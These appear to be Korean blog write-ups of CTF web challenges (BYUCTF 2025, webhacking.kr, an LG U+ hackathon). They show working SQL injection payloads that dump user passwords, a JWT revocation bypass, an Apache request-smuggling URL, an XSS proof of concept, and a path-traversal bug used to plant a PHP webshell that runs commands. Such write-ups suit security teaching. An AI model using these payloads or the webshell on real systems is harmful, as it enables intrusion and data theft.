Cooking Flask

sqlite3.OperationalError: near ""%')"": syntax error

위 에러를 통해서 사용자의 입력값이 괄호 안에서 작용한다는 것을 알 수 있다.

1') order by 10 --

sqlite3.OperationalError: 1st ORDER BY term out of range - should be between 1 and 8

 

') UNION SELECT '0','1','2','3','4','5','6','7' FROM sqlite_master WHERE type='table' --

 

') union select '1','2','2023-04-23','4','5','6','[]', group_concat(name) from sqlite_master WHERE type='table' --

 

') union select '1','' || group_concat(sql),'2023-04-23','4','5','6','[]',1 from sqlite_master WHERE type='table' --

 

') union select user_id, password,'2023-04-23', password,'5','6','[]',1 from user --

 

 

JWTF

# get flag if you are an admin
@app.route('/flag', methods=['GET'])
def flag():
    session = request.cookies.get('session', None).strip().replace('=','')

    if session is None:
        return redirect('/')
    
    # check if the session is in the JRL
    if session in jrl:
        return redirect('/')

    try:
        payload = jwt.decode(session, APP_SECRET, algorithms=["HS256"])
        if payload['admin'] == True:
            return FLAG
        else:
            return redirect('/')
    except:
        return redirect('/')

PyJWT 모듈을 사용해서 JWT 토큰을 디코딩하며, 이 때 자동으로 URL-safe base64 encoding을 디코딩해준다.

즉, 기존에 사용하던 +,/ 를 각각 -,_로 치환할 수 있다.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwidWlkIjoiMTMzNyJ9.BnBYDobZVspWbxu4jL3cTfri_IxNoi33q-TRLbHV-ew

jrl 엔드포인트에 요청을 통해서 얻은 토큰은 URL-safe base64 encoding을 사용했다.

기존 토큰의 -,_을 각각 +, /로 치환하면 다음과 같다.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwidWlkIjoiMTMzNyJ9.BnBYDobZVspWbxu4jL3cTfri/IxNoi33q+TRLbHV+ew

 

Flag: byuctf{idk_if_this_means_anything_but_maybe_its_useful_somewhere_97ba5a70d94d}

 

Willy Wonka Web 

LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so

<VirtualHost *:80>

    ServerName localhost
    DocumentRoot /usr/local/apache2/htdocs

    RewriteEngine on
    RewriteRule "^/name/(.*)" "http://backend:3000/?name=$1" [P]
    ProxyPassReverse "/name/" "http://backend:3000/"

    RequestHeader unset A
    RequestHeader unset a

</VirtualHost>

https://domdom.tistory.com/670

 

[CVE-2023-25690] Apache HTTP Server <= 2.4.55 mod_proxy enabled - HTTP Request Smuggling (HTB ApacheBlaze Writeup)

Introduction Apache HTTP Server 2.4.0 ~ 2.4.55 에서 mod_proxy 설정 시 HTTP Request Smuggling 취약점 발생 mod_proxy 설정 시 RewriteRule 이나 ProxyPassMatch 설정 시 사용자로부터 URL 데이터를 받아서 가변적으로 치환하는

domdom.tistory.com

위 글을 참고해서 문제를 풀 수 있을거 같다.

https://wonka.chal.cyberjousting.com/name/1%0D%0Aa:%20admin%0D%0A%0D%0A

'Hacking > Web' 카테고리의 다른 글

정보보안 수업 과제용  (0) 2025.03.20
[LG U+ Security Hackathon FINAL] page  (0) 2024.12.06

dreamhack.io -> dev tools

개발자 도구 이용해서 디렉토리 검색하다보면 나온다.

 

webhacking.kr -> old-15

javascript disable 한 후 접근하면 FLAG를 얻을 수 있다.

 

webhacking.kr -> old-20

개발자 도구를 이용해서 captcha value를 자동으로 가져온 후, 제출하는 자바스크립트 코드를 작성하여 새로고침 시 코드를 바로 실행하면 된다.

Payload

(function() {
    lv5frm.id.value = "hi";
    lv5frm.cmt.value = "hi";
    lv5frm.captcha.value = lv5frm.captcha_.value;
    lv5frm.submit()
})()

 

webhacking.kr -> old-23

poc

https://webhacking.kr/challenge/bonus-3/index.php?code=%3C%00s%00c%00r%00i%00p%00t%3Ea%00l%00e%00r%00t(%001%00);%3C%00/%00s%00c%00r%00i%00p%00t%3E

'Hacking > Web' 카테고리의 다른 글

2025 BYUCTF  (0) 2025.05.19
[LG U+ Security Hackathon FINAL] page  (0) 2024.12.06
public function edit() {

    if(!in_array($_REQUEST['type'], ['html', 'js', 'css'])) $this->util->alertExit("Invalid Type");

    if($_SERVER['REQUEST_METHOD'] == 'POST'){

        $this->file->createFile(ROOT . "user/{$this->userData[uuid]}/{$this->userData[uuid]}.{$_POST[type]}", $_POST['data']);
        $this->util->alertExit("Edit Success", 1, 2);

    }

    $tpl = new \utils\template(VIEWS . 'textarea.tpl');
    $tpl->render(["type" => $_GET['type'], "data" => $this->file->getFile(ROOT . "user/{$this->userData[uuid]}/{$this->userData[uuid]}.{$_GET[type]}")]);

}

pageController.php 파일의 edit 함수는 사용자 입력 값을 제대로 검증하지 않아 Path Traversal 취약점이 발생한다. 이를 통해 공격자는 서버에 임의의 파일을 생성하고 실행할 수 있다.

 

$_REQUEST['type']과 $_GET['type]의 값을 다르게 설정하여 검증을 우회하였다. 먼저, 쿠키에 type=css 값을 설정하여 Invalid Type 검증을 통과했다. 이후, URL에 $_GET['type'] 값을 php로 설정해 PHP Webshell을 작성할 수 있었다.

 

http://3.36.67.42/index.php?module=page&action=edit&type=php

<?php
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

 

http://3.36.67.42/user/1f36-3ace-f564-405d-b205/1f36-3ace-f564-405d-b205.php?cmd=/readflag

생성된 Webshell을 통해 명령어를 실행

 

Flag: lguplus2024{22b5662b0527d55728df2f292b1f3cc061ef73cfe5e64af88a7eeb284b9e825a}

'Hacking > Web' 카테고리의 다른 글

2025 BYUCTF  (0) 2025.05.19
정보보안 수업 과제용  (0) 2025.03.20

+ Recent posts